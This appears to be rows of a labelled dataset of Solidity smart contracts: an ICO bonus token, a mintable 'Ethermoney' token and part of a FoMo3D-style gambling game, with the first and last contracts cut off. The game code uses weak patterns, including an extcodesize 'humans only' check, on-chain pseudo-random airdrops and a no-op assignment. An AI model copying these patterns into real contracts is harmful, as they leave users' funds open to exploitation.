mapping(address => uint) public bonusBalances;
event ICOTokensInvested(address indexed to, uint amount);
event ICOChanged(address indexed icoContract);
modifier onlyICO() {
require(msg.sender == ico);
_;
}
function BaseICOTokenWithBonus(uint totalSupply_) public {
locked = true;
totalSupply = totalSupply_;
availableSupply = totalSupply_;
}
function changeICO(address ico_) public onlyOwner {
ico = ico_;
ICOChanged(ico);
}
function setBonusUnlockAt(uint bonusUnlockAt_) public onlyOwner {
require(bonusUnlockAt_ > block.timestamp);
bonusUnlockAt = bonusUnlockAt_;
}
function getBonusUnlockAt() public view returns (uint) {
return bonusUnlockAt;
}
function bonusBalanceOf(address owner_) public view returns (uint) {
return bonusBalances[owner_];
}
function icoInvestment(address to_, uint amount_, uint bonusAmount_) public onlyICO returns (uint) {
require(isValidICOInvestment(to_, amount_));
availableSupply = availableSupply.sub(amount_);
balances[to_] = balances[to_].add(amount_);
bonusBalances[to_] = bonusBalances[to_].add(bonusAmount_);
ICOTokensInvested(to_, amount_);
return amount_;
}
function isValidICOInvestment(address to_, uint amount_) internal view returns (bool) {
return to_ != address(0) && amount_ <= availableSupply;
}
function getAllowedForTransferTokens(address from_) public view returns (uint) {
return (bonusUnlockAt >= block.timestamp) ? balances[from_].sub(bonusBalances[from_]) : balances[from_];
}
function transfer(address to_, uint value_) public whenNotLocked returns (bool) {
require(value_ <= getAllowedForTransferTokens(msg.sender));
return super.transfer(to_, value_);
}
function transferFrom(address from_, address to_, uint value_) public whenNotLocked returns (bool) {
require(value_ <= getAllowedForTransferTokens(from_));
return super.transferFrom(from_, to_, value_);
}
}
contract BENEFITToken is BaseICOTokenWithBonus {
using SafeMath for uint;
string public constant name = "Dating with Benefits";
string public constant symbol = "BENEFIT";
uint8 public constant decimals = 18;
uint internal constant ONE_TOKEN = 1e18;
uint public constant RESERVED_RESERVE_UNLOCK_AT = 1546300800;
uint public constant RESERVED_COMPANY_UNLOCK_AT = 1561939200;
event ReservedTokensDistributed(address indexed to, uint8 group, uint amount);
event TokensBurned(uint amount);
function BENEFITToken(uint totalSupplyTokens_,
uint companyTokens_,
uint bountyTokens_,
uint reserveTokens_,
uint marketingTokens_) public BaseICOTokenWithBonus(totalSupplyTokens_ * ONE_TOKEN) {
require(availableSupply == totalSupply);
availableSupply = availableSupply
.sub(companyTokens_ * ONE_TOKEN)
.sub(bountyTokens_ * ONE_TOKEN)
.sub(reserveTokens_ * ONE_TOKEN)
.sub(marketingTokens_ * ONE_TOKEN);
reserved[RESERVED_COMPANY_GROUP] = companyTokens_ * ONE_TOKEN;
reserved[RESERVED_BOUNTY_GROUP] = bountyTokens_ * ONE_TOKEN;
reserved[RESERVED_RESERVE_GROUP] = reserveTokens_ * ONE_TOKEN;
reserved[RESERVED_MARKETING_GROUP] = marketingTokens_ * ONE_TOKEN;
}
function() external payable {
revert();
}
function burnRemain() public onlyOwner {
require(availableSupply > 0);
uint burned = availableSupply;
totalSupply = totalSupply.sub(burned);
availableSupply = 0;
TokensBurned(burned);
}
uint8 public constant RESERVED_COMPANY_GROUP = 0x1;
uint8 public constant RESERVED_BOUNTY_GROUP = 0x2;
uint8 public constant RESERVED_RESERVE_GROUP = 0x4;
uint8 public constant RESERVED_MARKETING_GROUP = 0x8;
mapping(uint8 => uint) public reserved;
function getReservedTokens(uint8 group_) public view returns (uint) {
return reserved[group_];
}
function assignReserved(address to_, uint8 group_, uint amount_) public onlyOwner {
require(to_ != address(0) && (group_ & 0xF) != 0);
require(group_ != RESERVED_RESERVE_GROUP
|| (group_ == RESERVED_RESERVE_GROUP && block.timestamp >= RESERVED_RESERVE_UNLOCK_AT));
require(group_ != RESERVED_COMPANY_GROUP
|| (group_ == RESERVED_COMPANY_GROUP && block.timestamp >= RESERVED_COMPANY_UNLOCK_AT));
reserved[group_] = reserved[group_].sub(amount_);
balances[to_] = balances[to_].add(amount_);
ReservedTokensDistributed(to_, group_, amount_);
}
} | 0 | 189 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "Ethermoney";
string public constant TOKEN_SYMBOL = "ETM";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0xe4949064008cdcd0377E4d51b42B9CC9b15E7b00;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[3] memory addresses = [address(0xaefda616da45f3dc26f14597930140e5d0d54172),address(0x68999c688cfbae00a4e0978ef422d3b36ebce15d),address(0xe4949064008cdcd0377e4d51b42b9cc9b15e7b00)];
uint[3] memory amounts = [uint(12000000000000000000000000000),uint(8000000000000000000000000000),uint(80000000000000000000000000000)];
uint64[3] memory freezes = [uint64(0),uint64(0),uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 0 | 1,806 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract FoMo3Dsmall is F3Devents {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x8b70f6804861cc47ACFD1aEB8e9Dd4110f45673d);
address private admin = msg.sender;
string constant public name = "FOMO Small";
string constant public symbol = "SMALL";
uint256 private rndExtra_ = 30 minutes;
uint256 private rndGap_ = 30 minutes;
uint256 constant private rndInit_ = 30 minutes;
uint256 constant private rndInc_ = 10 seconds;
uint256 constant private rndMax_ = 1 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
